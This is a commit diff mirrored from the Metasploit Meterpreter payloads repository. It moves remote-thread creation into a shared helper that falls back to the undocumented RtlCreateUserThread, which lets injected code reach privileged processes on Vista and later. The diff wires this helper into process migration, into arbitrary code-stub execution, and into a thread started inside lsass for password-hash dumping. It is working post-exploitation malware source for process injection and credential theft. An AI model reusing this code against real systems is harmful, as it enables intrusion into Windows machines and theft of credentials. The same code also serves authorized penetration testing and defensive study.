mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-22 03:19:04 +01:00
Updated other uses of CreateRemoteThread
Make use of the new create_remote_thread function so that it is used by other areas of the code, including migration.
This commit is contained in:
parent
a7f2458a4e
commit
633851be56
@ -1,5 +1,6 @@
|
||||
#include "common.h"
|
||||
#include "base_inject.h"
|
||||
#include "../remote_thread.h"
|
||||
#include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
|
||||
#include <Tlhelp32.h>
|
||||
|
||||
@ -420,59 +421,64 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
|
||||
/*
|
||||
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
|
||||
*/
|
||||
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
||||
DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
|
||||
HANDLE hThread = NULL;
|
||||
DWORD dwThreadId = 0;
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
|
||||
// fails, giving us a chance to try an alternative method or fail migration gracefully.
|
||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
|
||||
if( !hThread )
|
||||
hThread = create_remote_thread(hProcess, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
|
||||
if (!hThread)
|
||||
{
|
||||
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
|
||||
if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
|
||||
{
|
||||
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
|
||||
|
||||
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
|
||||
|
||||
if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
|
||||
if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
|
||||
}
|
||||
}
|
||||
|
||||
if( remote && response )
|
||||
else
|
||||
{
|
||||
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." );
|
||||
// Send a successful response to let the ruby side know that we've pretty
|
||||
// much successfully migrated and have reached the point of no return
|
||||
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
|
||||
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
||||
|
||||
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." );
|
||||
// Sleep to give the remote side a chance to catch up...
|
||||
Sleep( 2000 );
|
||||
dprintf("[INJECT] inject_via_remotethread: succeeded");
|
||||
}
|
||||
|
||||
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
|
||||
if (remote && response)
|
||||
{
|
||||
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response...");
|
||||
// Send a successful response to let the ruby side know that we've pretty
|
||||
// much successfully migrated and have reached the point of no return
|
||||
packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
|
||||
// Sleep to give the remote side a chance to catch up...
|
||||
Sleep(2000);
|
||||
}
|
||||
|
||||
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
|
||||
// Resume the injected thread...
|
||||
if( ResumeThread( hThread ) == (DWORD)-1 )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
|
||||
if (ResumeThread(hThread) == (DWORD)-1)
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
|
||||
|
||||
} while( 0 );
|
||||
} while (0);
|
||||
|
||||
if( hThread )
|
||||
CloseHandle( hThread );
|
||||
if (hThread)
|
||||
{
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
SetLastError( dwResult );
|
||||
SetLastError(dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
85
c/meterpreter/source/common/arch/win/remote_thread.c
Normal file
85
c/meterpreter/source/common/arch/win/remote_thread.c
Normal file
@ -0,0 +1,85 @@
|
||||
#include "common.h"
|
||||
#include "remote_thread.h"
|
||||
|
||||
/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
|
||||
typedef struct _MIMI_CLIENT_ID {
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENTID;
|
||||
|
||||
/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
|
||||
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
|
||||
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
|
||||
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
|
||||
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
|
||||
static BOOL pRtlCreateUserThreadAttempted = FALSE;
|
||||
|
||||
/*!
|
||||
* @brief Helper function for creating a remote thread in a privileged process.
|
||||
* @param hProcess Handle to the target processj.
|
||||
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
|
||||
* @param pvStartParam Pointer to the parameter to pass to the thread function.
|
||||
* @param dwCreateFlags Creation flags to use when creating the new thread.
|
||||
* @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
|
||||
* @return Handle to the new thread.
|
||||
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
|
||||
* @remark This function has been put in place to wrap up the handling of creating remote threads
|
||||
* in privileged processes across all operating systems. In Windows XP and earlier, the
|
||||
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
|
||||
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
|
||||
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
|
||||
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
|
||||
* existing behaviour is kept for when running on XP and earlier, or when the user is already
|
||||
* running within a privileged process.
|
||||
*/
|
||||
HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
|
||||
{
|
||||
NTSTATUS ntResult;
|
||||
BOOL bCreateSuspended;
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
|
||||
|
||||
// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
|
||||
// on Vista and later.
|
||||
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
|
||||
{
|
||||
dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options");
|
||||
hThread = NULL;
|
||||
|
||||
// Only attempt to load the function pointer if we haven't attempted it already.
|
||||
if (!pRtlCreateUserThreadAttempted)
|
||||
{
|
||||
if (pRtlCreateUserThread == NULL)
|
||||
{
|
||||
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
|
||||
}
|
||||
}
|
||||
pRtlCreateUserThreadAttempted = TRUE;
|
||||
}
|
||||
|
||||
// if at this point we don't have a valid pointer, it means that we don't have this function available
|
||||
// on the current OS
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread");
|
||||
bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
|
||||
ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL);
|
||||
SetLastError(ntResult);
|
||||
|
||||
if (ntResult == 0 && pdwThreadId)
|
||||
{
|
||||
*pdwThreadId = GetThreadId(hThread);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// restore the previous error so that it looks like we haven't done anything else
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
6
c/meterpreter/source/common/arch/win/remote_thread.h
Normal file
6
c/meterpreter/source/common/arch/win/remote_thread.h
Normal file
@ -0,0 +1,6 @@
|
||||
#ifndef _METERPRETER_REMOTE_THREAD_H
|
||||
#define _METERPRETER_REMOTE_THREAD_H
|
||||
|
||||
HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
|
||||
|
||||
#endif
|
@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
#include <wininet.h>
|
||||
|
||||
/*! @brief When defined, debug output is enabled on Windows builds. */
|
||||
//#define DEBUGTRACE 1
|
||||
#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
|
@ -138,77 +138,6 @@ typedef void *(*MemcpyType)(void *, const void *, size_t);
|
||||
/* define types for ntdll */
|
||||
typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);
|
||||
|
||||
/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
|
||||
typedef struct _MIMI_CLIENT_ID {
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENTID;
|
||||
|
||||
/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
|
||||
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, char, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
|
||||
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
|
||||
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
|
||||
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
|
||||
static BOOL pRtlCreateUserThreadAttempted = FALSE;
|
||||
|
||||
/*!
|
||||
* @brief Helper function for creating a remote thread in a privileged process.
|
||||
* @param hProcess Handle to the target processj.
|
||||
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
|
||||
* @param pvStartParam Pointer to the parameter to pass to the thread function.
|
||||
* @return Handle to the new thread.
|
||||
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
|
||||
* @remark This function has been put in place to wrap up the handling of creating remote threads
|
||||
* in privileged processes across all operating systems. In Windows XP and earlier, the
|
||||
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
|
||||
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
|
||||
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
|
||||
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
|
||||
* existing behaviour is kept for when running on XP and earlier, or when the user is already
|
||||
* running within a privileged process.
|
||||
*/
|
||||
HANDLE create_remote_thread(HANDLE hProcess, LPVOID pvStartAddress, LPVOID pvStartParam)
|
||||
{
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, 0, NULL);
|
||||
|
||||
// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
|
||||
// on Vista and later.
|
||||
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
|
||||
{
|
||||
dprintf("[PASSWD] CreateRemoteThread seems to lack permissions, trying alternative options");
|
||||
hThread = NULL;
|
||||
|
||||
// Only attempt to load the function pointer if we haven't attempted it already.
|
||||
if (!pRtlCreateUserThreadAttempted)
|
||||
{
|
||||
if (pRtlCreateUserThread == NULL)
|
||||
{
|
||||
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
dprintf("[PASSWD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
|
||||
}
|
||||
}
|
||||
pRtlCreateUserThreadAttempted = TRUE;
|
||||
}
|
||||
|
||||
// if at this point we don't have a valid pointer, it means that we don't have this function available
|
||||
// on the current OS
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
dprintf("[PASSWD] Attempting thread creation with RtlCreateUserThread");
|
||||
SetLastError(pRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL));
|
||||
}
|
||||
else
|
||||
{
|
||||
// restore the previous error so that it looks like we haven't done anything else
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
char *string_combine(char *string1, char *string2)
|
||||
{
|
||||
size_t s1len, s2len;
|
||||
@ -846,7 +775,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
|
||||
sBytesWritten = 0;
|
||||
|
||||
/* start the remote thread */
|
||||
if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory)) == NULL)
|
||||
if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
|
||||
|
@ -6,6 +6,7 @@
|
||||
#include "./elevate/elevate.h"
|
||||
#include "passwd.h"
|
||||
#include "fs.h"
|
||||
#include "../../../common//arch/win/remote_thread.h"
|
||||
|
||||
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "../../../../../common/arch/win/remote_thread.h"
|
||||
|
||||
ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name,
|
||||
DWORD size);
|
||||
@ -89,9 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Create the thread in the process supplied
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)entryPoint, entryParam, createFlags,
|
||||
&threadId)))
|
||||
if (!(thread = create_remote_thread(process, entryPoint, entryParam, createFlags, &threadId)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
|
@ -1,7 +1,8 @@
|
||||
#include "precomp.h"
|
||||
#include "../../../../../common/arch/win/remote_thread.h"
|
||||
|
||||
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
LPVOID *buffer, DWORD length, DWORD prot);
|
||||
LPVOID *buffer, DWORD length, DWORD prot);
|
||||
|
||||
/*
|
||||
* Executes a portion of code in the address space of the supplied process
|
||||
@ -10,7 +11,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
* FIXME: can-block
|
||||
*/
|
||||
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
LPVOID parameter, DWORD parameterLength, LPDWORD rv)
|
||||
LPVOID parameter, DWORD parameterLength, LPDWORD rv)
|
||||
{
|
||||
HANDLE thread = NULL;
|
||||
LPVOID paramInProcess = (LPVOID)parameter;
|
||||
@ -23,25 +24,26 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
{
|
||||
// Copy the code and parameter storage
|
||||
if ((result = copy_memory_to_process(process, TRUE, &codeInProcess,
|
||||
length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
|
||||
length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if ((result = copy_memory_to_process(process, TRUE, ¶mInProcess,
|
||||
parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
|
||||
parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Create the thread in the target process
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)codeInProcess, paramInProcess,
|
||||
0, &threadId)))
|
||||
if (!(thread = create_remote_thread(process, codeInProcess, paramInProcess, 0, &threadId)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait for the thread to terminate
|
||||
while ((wait = WaitForSingleObjectEx(thread, 1000,
|
||||
TRUE)) != WAIT_OBJECT_0)
|
||||
while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0)
|
||||
{
|
||||
if (wait == WAIT_FAILED)
|
||||
{
|
||||
@ -51,7 +53,9 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
}
|
||||
|
||||
if (rv)
|
||||
{
|
||||
GetExitCodeThread(thread, rv);
|
||||
}
|
||||
|
||||
// Free the memory in the process
|
||||
if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) ||
|
||||
@ -60,13 +64,13 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
} while (0);
|
||||
|
||||
// Close the thread handle if one was obtained
|
||||
if (thread)
|
||||
{
|
||||
CloseHandle(thread);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
@ -86,8 +90,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
if (allocate)
|
||||
{
|
||||
// Allocate storage for the buffer
|
||||
if (!(remoteBuffer = VirtualAllocEx(process, NULL,
|
||||
length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||
if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
@ -95,8 +98,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
}
|
||||
|
||||
// Copy the memory from local to remote
|
||||
if (!WriteProcessMemory(process, remoteBuffer,
|
||||
*buffer, length, &written))
|
||||
if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
@ -107,14 +109,12 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
|
||||
{
|
||||
DWORD old;
|
||||
|
||||
if (!VirtualProtectEx(process, remoteBuffer, length,
|
||||
prot, &old))
|
||||
if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
// Update the buffer pointer
|
||||
|
@ -446,6 +446,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</Lib>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\common\arch\win\remote_thread.c" />
|
||||
<ClCompile Include="..\..\source\common\args.c" />
|
||||
<ClCompile Include="..\..\source\common\base.c" />
|
||||
<ClCompile Include="..\..\source\common\arch\win\i386\base_dispatch.c" />
|
||||
@ -465,6 +466,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ClCompile Include="..\..\source\common\zlib\zlib.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\common\arch\win\remote_thread.h" />
|
||||
<ClInclude Include="..\..\source\common\crypto\xor.h" />
|
||||
<ClInclude Include="..\..\source\common\args.h" />
|
||||
<ClInclude Include="..\..\source\common\base.h" />
|
||||
@ -491,4 +493,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
Loading…
x
Reference in New Issue
Block a user